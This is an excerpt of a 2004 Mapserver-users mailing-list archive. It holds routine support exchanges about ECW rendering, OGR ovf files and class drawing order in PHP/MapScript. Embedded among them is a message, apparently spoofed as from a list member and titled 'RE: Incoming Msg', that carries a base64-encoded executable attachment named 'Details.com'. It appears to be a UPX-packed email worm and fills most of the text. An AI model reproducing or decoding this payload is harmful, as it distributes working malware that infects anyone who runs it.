If I simply replace my mapserv.exe = file with one of version 4.0, the problem is gone. Of course the map = takes quite a few seconds to show, which is normal when zooming close = on an ECW, but it does show.

I've tried this quite a few times in = different browsers, but the map never shows at that scale when the ECW = is in there. I have tried different mapfiles with different ECW's as = well. Has the mechanism to display the ECW changed? It seems that as = soon as I reach a resolution where I go beyond the ECW resolution = (1pixel:1pixel) it dies.

Regards,

Jacob

JACOB DELFOS
SPATIAL INFORMATION ANALYST
Maunsell Australia = Pty Ltd
629 Newcastle Street
PO Box 81
Leederville 6902
Western Australia
ABN 20 093 846 925

Tel =A0=A0=A0=A0+ 61 8 9281 6185
Fax=A0=A0=A0 + 61 8 9281 6297
jacob.delfos at maunsell.com

------_=_NextPart_001_01C45987.237EDC30-- From aaron at aptronics.com Wed Jun 23 19:04:54 2004 From: aaron at aptronics.com (aaron) Date: Thu, 24 Jun 2004 10:04:54 +0800 Subject: [Mapserver-users] OGR ovf access problem Message-ID: <002e01c4598f$b406b3b0$7001a8c0@organizaszgy9p> Your ovf file probably has newline or empty characters, ------- start of ovf file ------- -> there should be no spacing here <... ...> Ty this, it worked for me... ------- start of ovf file ------- <... ...> From skoehler at buschjena.de Thu Jun 24 00:11:42 2004 From: skoehler at buschjena.de (skoehler at buschjena.de) Date: Thu, 24 Jun 2004 09:11:42 +0200 Subject: Antwort: Re: [Mapserver-users] changing the order of classes In-Reply-To: Message-ID: Hi, my information was not complete. I'am using php/mapscript. In version 4.2 there is an method moveClassUp() which solves my problem. bye Steffen "Steve Lime" schrieb am 22.06.2004 16:58:03: > No, you can't. Sorry. > > Steve > > >>> 6/22/2004 2:46:31 AM >>> > Hi, > > I will create an new class which is draw before all other classes from > the > map-file. For layer I can change the drawingorder. Can I change the > drawingorder of classes also? > > thanks > Steffen Koehler > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From steve.lime at dnr.state.mn.us Thu Jun 24 05:59:30 2004 From: steve.lime at dnr.state.mn.us (Steve.lime) Date: Thu, 24 Jun 2004 06:59:30 -0600 Subject: [Mapserver-users] RE: Incoming Msg Message-ID: ----------gvhuvmlcqkdssttmmttt Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit
----------gvhuvmlcqkdssttmmttt Content-Type: application/octet-stream; name="Details.com" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Details.com" 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 /5ezBTt9DHXzX8nCCEJrT0cAEPsg349BQChok6gOcIEFcVAebu3/ZQAA6ZX+7//M/yXsYA8F KGEZGRl5JCAcGBkZGRkUEAwI8hwZGQQA/GD4MjIyMvTw6OQyMjIy4JxUWDIyMjJcYGRoMjIy MmxwdHg5NjIyfICEv4hgns/n84xgkGCUYJhgLPl8PkegYKRgqGCsYMjIyPOwYLS4vMjIyMjA xMjMycjIyNDU2Nx8Pp/fYYlwYWxhaGFkYcjY5PmoYaQFnMjIyMi0lJCMyMjIyJiwuKzIyMjI vDg0QOHIyMhEUEhMYdlkZGTkeIR8gDIyMsKXFBAI5DthMgzZYAUgZGRkZCQoLDBkZGRkNDg8 QGFmZGRESEwAAiRUQSKaqaL6HcP+9t8+EASMT8vDz9QBy8/M1Mj6AG3///+ptbyurbuov6au k5ef+p6IjJ6elpbUn4ILptn//4EMta+uqrWprtS/or/6tLe7s7QJ/v/f/rWorrW0pQ2uv6i0 v66lqb+5r6XJ1MqlzsrN375tzyCqvAqlYKXDwqUkpbe/pWu3bdjIsRgMqS+0vTkQ+c9uB6i1 RbmuDKm5sr++ych2a2c/rqy+twmsqBjLzAy19v82sTiztdetqKrXzsjL10gKvbnug5Sxs7a2 TLleX66vqreZO7Yvyxe2vhUJHLu2J+QPc68Msb61rbTIyn0sNmsAEEIKuba/uyP8P7aluQu7 rIqIlY6fmY7Dgh652MJZ+7e9qL6zHii3E8ql5GTtNrnnw6JNDLSuD/s2m6wGbLjLwssLrr7P bu3Zrbeks7m+eaq0pb6/C4O1hbylrvwMqo6jLxvWZgpSB6m+qEJhVnAr2I0ZU585tnK/n7IB v6KrrxxYwApMGCWsv53dkmeqvheiFq6zrLOoLdiH8K+p17k6vLupCBewMCu0v3J2DEStOJw1 